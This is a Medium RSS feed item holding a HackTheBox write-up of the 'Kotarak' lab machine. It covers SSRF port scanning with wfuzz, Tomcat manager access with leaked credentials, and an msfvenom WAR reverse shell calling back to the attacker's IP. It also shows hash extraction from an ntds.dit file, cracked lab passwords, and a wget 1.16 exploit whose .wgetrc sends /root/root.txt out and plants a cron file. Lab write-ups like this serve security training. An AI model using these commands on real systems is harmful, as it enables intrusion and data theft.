<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kyogre on Medium]]></title>
        <description><![CDATA[Stories by Kyogre on Medium]]></description>
        <link>https://medium.com/@Kyogre_?source=rss-673e0b7eb85c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*IvhJgKnarxZtxYqz</url>
            <title>Stories by Kyogre on Medium</title>
            <link>https://medium.com/@Kyogre_?source=rss-673e0b7eb85c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 23:20:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Kyogre_/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Kotarak writeup]]></title>
            <link>https://medium.com/@Kyogre_/kotarak-writeup-d9a52999926a?source=rss-673e0b7eb85c------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9a52999926a</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Kyogre]]></dc:creator>
            <pubDate>Thu, 05 Aug 2021 03:07:25 GMT</pubDate>
            <atom:updated>2021-08-05T03:07:25.360Z</atom:updated>
            <content:encoded><![CDATA[<p>Kotarak_HackTheBox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*mAeLWVIDsBT9p3XHjKMNCQ.png" /></figure><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)<br>|   256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)<br>|_  256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)<br>8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)<br>| ajp-methods: <br>|   Supported methods: GET HEAD POST PUT DELETE OPTIONS<br>|   Potentially risky methods: PUT DELETE<br>|_  See <a href="https://nmap.org/nsedoc/scripts/ajp-methods.html">https://nmap.org/nsedoc/scripts/ajp-methods.html</a><br>8080/tcp open  http    Apache Tomcat 8.5.5<br>|_http-favicon: Apache Tomcat<br>| http-methods: <br>|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS<br>|_  Potentially risky methods: PUT DELETE<br>|_http-title: Apache Tomcat/8.5.5 - Error report<br>60000/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET POST OPTIONS<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title:         Kotarak Web Hosting<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Got two http servers .Looking for both got the following webpages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uo1-NjFC2JNmFDgdw7Sl_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xMBayLie7Nu4Iidj6Yiwgg.png" /></figure><p>Now one thing to notice that port 8080 is actually tomcat.As there are many vulnerablities of tomcat ,I tried them first but with no success.</p><p>For reference:</p><p><a href="https://book.hacktricks.xyz/pentesting/8009-pentesting-apache-jserv-protocol-ajp">8009 - Pentesting Apache JServ Protocol (AJP)</a></p><p>Now lets’s go to port 60000.</p><p>Typing rubbish in the form availble showed some interesting things.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxeanHzuvQ2GoWwAC9TFmQ.png" /></figure><p>So ,if we type abc in the form link becomes:<a href="http://10.10.10.55:60000/url.php?path=abc"><em>http://10.10.10.55:60000/url.php?path=abc</em></a></p><p>Trying my luck with lfi did not prove fruitful.</p><p>Here , I was stuck for a while .So I fired up gobuster meanwhile.</p><p>Googling a bit led me to SSRF.Watchout these references:</p><ul><li><a href="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery">HackTricks</a></li><li><a href="https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978">SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1</a></li></ul><p>With these refernces I did a bit of hit and trial on the link in burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*WV0MQqmJOqLxOV_pL4nVZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l-2DdPQYhmGWHjh2fdMeuw.png" /></figure><p>It is also not working .</p><p>Well as the webpage tells:</p><pre>Use this private web browser to surf the web anonymously. Please do not abuse it!</pre><p>We will try to check for SSRF in the form</p><p><em>http://10.10.10.55:60000/url.php?path=127.0.0.1:&lt;ports&gt;</em></p><p>It could be done using either burpsuite intruder or wfuzz.</p><p>My result using wfuzz:</p><pre>wfuzz -c -z range,0-65535 --hl 2 10.10.10.55:60000/url.php?path=127.0.0.1:FUZZ</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*Mh0_LeT-55DaBCWhIv9G3g.png" /></figure><p>Checking all the result ports, port 888 showed this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qZSq-UiViocaxGvGaJlXIw.png" /></figure><p>clicking on lets’s say “backup” did this to link:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Lh3_Xplg5gpvHUCqFFSpQ.png" /></figure><p>Well both params path and doc must be given simultaneously for proper result.</p><p>so proper format should be:</p><p><a href="http://10.10.10.55:60000/url.php?path=127.0.0.1:888?doc=backup">http://10.10.10.55:60000/url.php?path=127.0.0.1:888?doc=backup</a></p><p>Hooray! Its’s source page shoed us creds of admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*Ud5eJDHWiT40ivRnfC_8HA.png" /></figure><p>But ,wait a minute! Creds for what?</p><p>First instinct was ssh,but that’s not it.</p><p>Well, stuck again so let’s check gobuster reusult:</p><p>for port 8080.</p><pre>===============================================================<br>2021/08/03 13:29:32 Starting gobuster <br>===============================================================<br>Found: /docs (Status: 302)<br>Found: /examples (Status: 302)<br>Found: /favicon.ico (Status: 200)<br>Found: /host-manager (Status: 302)<br>Found: /manager (Status: 302)<br>===============================================================<br>2021/08/03 13:31:17 Finished===============================================================</pre><p>and for port 60000</p><pre>===============================================================<br>2021/08/03 13:41:44 Starting gobuster<br>===============================================================<br>Found: /.htpasswd (Status: 403)<br>Found: /.hta (Status: 403)<br>Found: /.htaccess (Status: 403)<br>Found: /index.php (Status: 200)<br>Found: /info.php (Status: 200)<br>Found: /server-status (Status: 403)<br>===============================================================<br>2021/08/03 13:43:28 Finished<br>===============================================================</pre><p>In the creds we got, it shows <strong>roles</strong>=”manager,manager-gui,admin-gui,manager-script”.</p><p>And we found <em>/manager</em> directory in port 8080.</p><p>On further appying gobuster to /manager :</p><pre>[+] Url: <a href="http://10.10.10.55:8080/manager/">http://10.10.10.55:8080/manager/</a><br>Found: /html (Status: 401)<br>Found: /images (Status: 302)</pre><p>Well,<em>http://10.10.10.55:8080/manager/html/</em> requires authentication for users to enter into webpage.</p><p>Using the found creds we got into the the webpage.</p><p>There was a place where we could upload war file.</p><p>So, I made a war file containing reverse shell using msfvenom.</p><pre>msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.20 LPORT=4444 -f war -o reverse.war</pre><p>Meanwhile I did start a nc listner using nc -lnvp 4444 .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sCqV87mU-NogVMylcSOLUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BciSNGPaVD4Ko4b1XAU3Aw.png" /></figure><p>Clicking on the /reverse , i got the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*EqFTTN41CwjMgExKIMXSYQ.png" /></figure><p>We arelogged in as the user tomcat but there’s two users on this system <strong>tomcat</strong> &amp; <strong>atanas</strong>, the user flag is under atanas which we need the credentials for to be able to get to the user flag.</p><p>Under the /home/tomcat/to_archive/ directory we find an interesting directory called pentest_data which contains: (20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit)</p><p>&amp;</p><p>(20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin)</p><p>Searching a bit about this lead me to</p><p><a href="https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/">Extracting Hashes and Domain Info From ntds.dit</a></p><p>Thre are two methods given in this article.One can use either.</p><p>I used first one(using impacket)</p><p>So doing as the article tells will give you hashes of users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*kxtizpxg_KkD9yDnxkoTNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4H6HU4j7oy-Qdphw6Zo3-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VnBBdTrkFQ7fpZ9d7QHCeA.png" /></figure><p>We got some credentials:</p><p>Username: Atanas Password: f16tomcat!</p><p>Username: Administrator Password: Password123!</p><p>Now,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*HzREQU64YEuJ9t8mmnyc-g.png" /></figure><p>Here, we get the user flag.</p><p>Using linpeas:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*bedv1eiJHWDUfSQL90Hw8Q.png" /></figure><p>So it appears to be a log file of GET requests made by the source IP 10.0.3.133 if you do ifconfig on the system you can see that there’s another interface lxcbr0 with the ip 10.0.3.1 meaning there’s another server on that same subnet with the IP 10.0.3.133 making GET requests for the /archive.tar.gz file every 2 minutes so it’s possible that it’s a cron job making these requests.</p><p>The log file also shows that the version of wget is 1.16.</p><p>Searching for its vulnerabilities lead me to</p><p><a href="https://www.exploit-db.com/exploits/40064">Offensive Security&#39;s Exploit Database Archive</a></p><p>Now there is everything in this exploit we need for privilege escalation.</p><p>Copy the script part from the exploit and make a exploit.py file, with ip modified as below:</p><pre>HTTP_LISTEN_IP = &#39;&#39;<br>HTTP_LISTEN_PORT = 80<br>FTP_HOST = &#39;192.168.57.1&#39; #tunnel ip<br>FTP_PORT = 21</pre><p>Send exploit.py from local machine to box’s reverse shell.</p><p>Now on local machine create a .wgetrc file with content as follows:</p><pre>post_file = /root/root.txt<br>output_document = /etc/cron.d/wget-root-shell</pre><p>In the same directory host a ftp server:</p><pre>sudo pip install pyftpdlib<br>sudo python -m pyftpdlib -p21 -w</pre><p>Now ,I tried to run the exploit.py in webshell but there was some authentication issue with standard ports.</p><p>Here comes the role of authbind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*zIaX8bu_Iav2EVUuj5MeKw.png" /></figure><p>And , by luck autbind is installed in victim’s machine.</p><p>So using</p><pre><strong>authbind python exploit.py</strong></pre><p>and a bit ofpatience we get our root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*uJ0wFsscGwB9XtF3nXUYcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*_1P7HjgUt1O9SwJPjl-Gcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aA_N7DAUBl12ah3MLw30fg.png" /></figure><p>.</p><p>&lt;eof&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9a52999926a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>